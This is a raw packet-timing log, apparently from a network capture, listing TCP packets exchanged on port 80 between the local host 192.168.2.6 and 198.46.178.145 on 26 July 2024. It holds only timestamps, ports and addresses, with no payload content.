Jul 26, 2024 11:27:10.251163960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.251440048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.251451969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.251461983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.251893044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.251903057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.251909971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.251919031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.251930952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.251936913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.251982927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.251982927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.252804041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.252815008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.252827883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.252840996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.252854109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.252859116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.252901077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.252901077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.253794909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.253806114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.253817081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.253832102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.253842115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.253849030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.254585028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.255012989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255024910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255036116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255042076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255063057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.255287886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.255732059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255743980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255753040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255769014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255780935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255791903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.255799055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.255805016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.256037951 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.275053978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275121927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.275185108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275197029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275218010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.275263071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.275654078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275665045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275675058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275688887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.275706053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.276002884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.276410103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.276422024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.276447058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.276457071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.276464939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.276505947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.276505947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.277319908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.277331114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.277344942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.277358055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.277364969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.277395964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.278243065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.278254032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.278261900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.278271914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.278289080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.278305054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.278326035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.278345108 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.279221058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.279231071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.279242992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.279254913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.279262066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.279278040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.279315948 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.280097961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.280108929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.280118942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.280132055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.280138016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.280144930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.280150890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.280177116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.281021118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281030893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281043053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281054020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281064034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.281083107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.281963110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281972885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281984091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.281996012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.282001972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.282008886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.282015085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.282042027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.282996893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283006907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283016920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283030033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283045053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.283066988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.283843994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283854008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283863068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283875942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283886909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283899069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.283905029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.283921003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.283967018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.284727097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.284738064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.284749031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.284765005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.284770966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.284780025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.284787893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.284807920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.284837961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.285656929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.285667896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.285681963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.285691977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.285698891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.286596060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.286607027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.286617994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.286617994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.286627054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.286639929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.286644936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.286654949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.286674023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.286926985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.287717104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.287728071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.287739038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.287750959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.287771940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.287796021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.288433075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.288444042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.288451910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.288466930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.288472891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.288486958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.288491964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.288508892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.288636923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.290529013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.290539026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.290550947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.290561914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.290574074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.290579081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.290616035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.290616035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.297092915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.297208071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.297218084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.297254086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.299102068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.299110889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.299124956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.299134970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.299144030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.299158096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.300503969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.341844082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.341866016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.341878891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.342005014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.342005014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.342416048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.342426062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.342441082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.342452049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.342461109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.342477083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.342684984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.343147039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343157053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343168020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343183041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343190908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.343214989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.343913078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343923092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343931913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343945026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.343955040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.343975067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.344760895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.344774961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.344786882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.344799995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.344806910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.344814062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.344821930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.344849110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.345616102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.345627069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.345638990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.345649958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.345659018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.345674992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.345710039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.346432924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.346442938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.346451998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.346477032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.346498966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.366143942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.366251945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.366261005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.366445065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.366638899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.366650105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.366658926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.366765022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.366765976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.367166996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367177010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367189884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367202997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367212057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.367227077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.367486000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.367942095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367953062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367961884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367974997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367980957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.367988110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.367999077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.368107080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.368809938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.368819952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.368832111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.368844986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.368853092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.368858099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.368885040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.368904114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.369656086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.369667053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.369677067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.369690895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.369708061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.369730949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.370507956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.370557070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.370567083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.370573997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.370584011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.370592117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.370603085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.370623112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.371340990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.371351957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.371361971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.371373892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.371382952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.371388912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.371428967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.371428967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.372203112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.372214079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.372225046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.372236967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.372245073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.372277021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.373130083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373140097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373151064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373162985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373172998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.373177052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373186111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.373229027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.373744011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373754025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373766899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373776913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373784065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.373790979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.373799086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.373826027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.374625921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.374635935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.374644995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.374659061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.374665976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.374672890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.374680996 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.374687910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.374736071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.374736071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.375519991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.375530005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.375538111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.375554085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.375562906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.375567913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.375581026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.375585079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.375600100 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.375629902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.376352072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.376362085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.376374006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.376385927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.376394033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.376400948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.376409054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.376418114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.376444101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.377432108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.377443075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.377453089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.377465010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.377471924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.377480030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.377496958 CEST	49741	80	192.168.2.6	198.46.178.145
